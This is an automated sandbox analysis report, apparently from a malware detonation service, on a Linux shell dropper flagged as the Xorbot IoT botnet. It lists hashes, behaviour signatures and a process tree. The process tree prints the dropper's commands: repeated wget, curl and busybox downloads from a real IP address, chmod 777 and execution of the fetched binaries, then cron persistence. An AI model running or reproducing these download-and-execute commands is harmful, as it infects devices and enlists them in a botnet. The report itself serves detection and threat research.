Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03-12-2024 14:55

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3b8b6765d7640335ac5904db51941316

  • SHA1

    41d3ed3e99d3c26185c182282f6210f3def75b91

  • SHA256

    56ffdc2679cf8715dddb3f56f52cf2b650f3ad220dc77610da0a897cc835a627

  • SHA512

    f24c1f8cd195a71f9392081b3aeaed8d32819c6bb4337ec57c5d0034abea6bfce3884757d5b212ce225d82033f08f16587ed8086452023ec9ce29ba1fe102f5b

  • SSDEEP

    192:nR57dzBtlmm8DL9v3/K+0mI/nkB/VmXjh8ML+Xjh8MLgVdR5dCdBtlmmUhv3/K+f:7dzBtlmm8DL0kBdmXjh8ML+Xjh8MLqr1

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2008) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1484
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1485
        • /usr/bin/wget
          wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
          • Writes file to tmp directory
          PID:1486
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
          • Writes file to tmp directory
          PID:1490
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /bin/chmod
          chmod 777 ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
          • File and Directory Permissions Modification
          PID:1501
        • /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          ./ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
          • Executes dropped EXE
          PID:1502
        • /bin/rm
          rm ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
          2⤵
            PID:1504
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
            2⤵
            • Writes file to tmp directory
            PID:1505
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
            2⤵
            • Writes file to tmp directory
            PID:1513
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /bin/chmod
            chmod 777 Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
            2⤵
            • File and Directory Permissions Modification
            PID:1515
          • /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
            ./Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
            2⤵
            • Executes dropped EXE
            PID:1516
          • /bin/rm
            rm Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
            2⤵
              PID:1518
            • /usr/bin/wget
              wget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
              2⤵
              • Writes file to tmp directory
              PID:1519
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
              2⤵
              • Writes file to tmp directory
              PID:1520
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
              2⤵
              • Writes file to tmp directory
              PID:1521
            • /bin/chmod
              chmod 777 q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
              2⤵
              • File and Directory Permissions Modification
              PID:1522
            • /tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
              ./q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
              2⤵
              • Executes dropped EXE
              PID:1523
            • /bin/rm
              rm q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
              2⤵
                PID:1525
              • /usr/bin/wget
                wget http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
                2⤵
                • Writes file to tmp directory
                PID:1526
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
                2⤵
                • Writes file to tmp directory
                PID:1527
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
                2⤵
                • Writes file to tmp directory
                PID:1528
              • /bin/chmod
                chmod 777 NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
                2⤵
                • File and Directory Permissions Modification
                PID:1529
              • /tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
                ./NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
                2⤵
                • Executes dropped EXE
                PID:1530
              • /bin/rm
                rm NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
                2⤵
                  PID:1532
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV
                  2⤵
                  • Writes file to tmp directory
                  PID:1533
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV
                  2⤵
                  • Writes file to tmp directory
                  PID:1534
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV
                  2⤵
                  • Writes file to tmp directory
                  PID:1535
                • /bin/chmod
                  chmod 777 aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1536
                • /tmp/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV
                  ./aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV
                  2⤵
                  • Executes dropped EXE
                  PID:1537
                • /bin/rm
                  rm aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV
                  2⤵
                    PID:1539
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS
                    2⤵
                    • Writes file to tmp directory
                    PID:1540
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS
                    2⤵
                    • Writes file to tmp directory
                    PID:1541
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS
                    2⤵
                    • Writes file to tmp directory
                    PID:1542
                  • /bin/chmod
                    chmod 777 qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1543
                  • /tmp/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS
                    ./qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1544
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1546
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1547
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1548
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1549
                        • /bin/rm
                          rm qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS
                          2⤵
                            PID:1551
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/xep6KQzWq5hMzg1AElrao9wxWgPYTGRw8l
                            2⤵
                              PID:1554

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /var/spool/cron/crontabs/tmp.dSAkVq

                            Filesize

                            210B

                            MD5

                            547923bf064edf67d47e23de67b4020b

                            SHA1

                            677f52bcc69b5f3619330d27dd0fd6382d1c6749

                            SHA256

                            673d2d0a8c35159a321653d731af4ab040c26c5e3e6532dbd4cc2c315865e807

                            SHA512

                            211fd6615dc71feff8d54983849eac08adee71263f07dee2f642caabadccced5bcd4abaf4a6fcaedd85c4eb7b0f81c673ca8e27c6a7d45b06a754ae2eb6c1bb3